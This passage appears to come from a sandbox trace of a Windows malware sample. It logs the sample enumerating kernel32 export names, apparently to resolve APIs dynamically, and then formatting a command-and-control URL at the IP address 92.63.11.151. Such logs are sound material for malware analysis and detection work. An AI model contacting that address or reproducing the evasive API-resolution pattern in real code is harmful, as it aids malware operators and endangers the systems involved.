lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0117.885] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0117.885] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0117.885] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0117.885] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0117.885] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0117.885] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0117.885] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0117.885] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0117.886] lstrlenA (lpString="COPYCONTEXT") returned 11 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0117.886] lstrlenA (lpString="COPYFILE2") returned 9 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0117.886] lstrlenA (lpString="COPYFILEA") returned 9 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0117.886] lstrlenA (lpString="COPYFILEEXA") returned 11 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0117.886] lstrlenA (lpString="COPYFILEEXW") returned 11 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0117.886] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0117.886] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0117.886] lstrlenA (lpString="COPYFILEW") returned 9 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0117.886] lstrlenA (lpString="COPYLZFILE") returned 10 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0117.886] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0117.886] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0117.886] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0117.886] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0117.886] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0117.886] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0117.886] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0117.886] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0117.886] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0117.887] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0117.887] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0117.887] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0117.887] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0117.887] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0117.887] lstrlenA (lpString="CREATEEVENTA") returned 12 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0117.887] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0117.887] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0117.887] lstrlenA (lpString="CREATEEVENTW") returned 12 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0117.887] lstrlenA (lpString="CREATEFIBER") returned 11 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0117.887] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0117.887] lstrlenA (lpString="CREATEFILE2") returned 11 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0117.887] lstrlenA (lpString="CREATEFILEA") returned 11 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0117.887] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0117.887] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0117.887] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0117.887] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0117.887] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0117.888] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0117.888] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0117.888] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0117.888] lstrlenA (lpString="CREATEFILEW") returned 11 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0117.888] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0117.888] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0117.888] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0117.888] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0117.888] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0117.888] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0117.888] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0117.888] lstrlenA (lpString="CREATEJOBSET") returned 12 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0117.888] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0117.888] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0117.888] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0117.888] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0117.888] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0117.888] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0117.889] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0117.889] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0117.889] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0117.889] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0117.889] lstrlenA (lpString="CREATEPIPE") returned 10 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0117.889] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0117.889] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0117.889] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0117.889] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0117.889] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0117.889] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0117.889] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0117.889] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0117.889] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0117.889] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0117.889] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0117.889] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0117.889] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0117.890] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0117.890] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0117.890] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0117.890] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0117.890] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0117.890] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0117.890] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0117.890] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0117.890] lstrlenA (lpString="CREATETHREAD") returned 12 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0117.890] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0117.890] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0117.890] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0117.890] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0117.890] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0117.890] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0117.890] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0117.890] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0117.891] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0117.892] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000 [0117.892] GetTickCount () returned 0x32ea2 [0117.892] GetTickCount () returned 0x32ea2 [0117.892] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0117.893] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.893] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0117.894] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.11.151/news/signin/stmxoom.cgi?sle=36r41so03") returned 57 [0117.894] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0117.895] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0117.895] VirtualAlloc (lpAddress=0x0, dwSize=0x27, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0117.895] VirtualAlloc (lpAddress=0x0, dwSize=0x33, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0117.896] lstrlenA (lpString="kernel32.dll") returned 12 [0117.896] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0117.896] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0117.896] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0117.896] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0117.896] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0117.896] lstrlenA (lpString="ADDATOMA") returned 8 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0117.896] lstrlenA (lpString="ADDATOMW") returned 8 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0117.896] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0117.896] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0117.897] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0117.897] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0117.897] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0117.897] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0117.897] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0117.897] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0117.897] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0117.897] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0117.897] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0117.897] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0117.897] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0117.897] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0117.897] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0117.897] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0117.897] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0117.897] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0117.897] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0117.897] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0117.898] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0117.898] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0117.898] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0117.898] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0117.898] lstrcpyA (in: lpString1=0x2e7eb60, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0117.898] lstrlenA 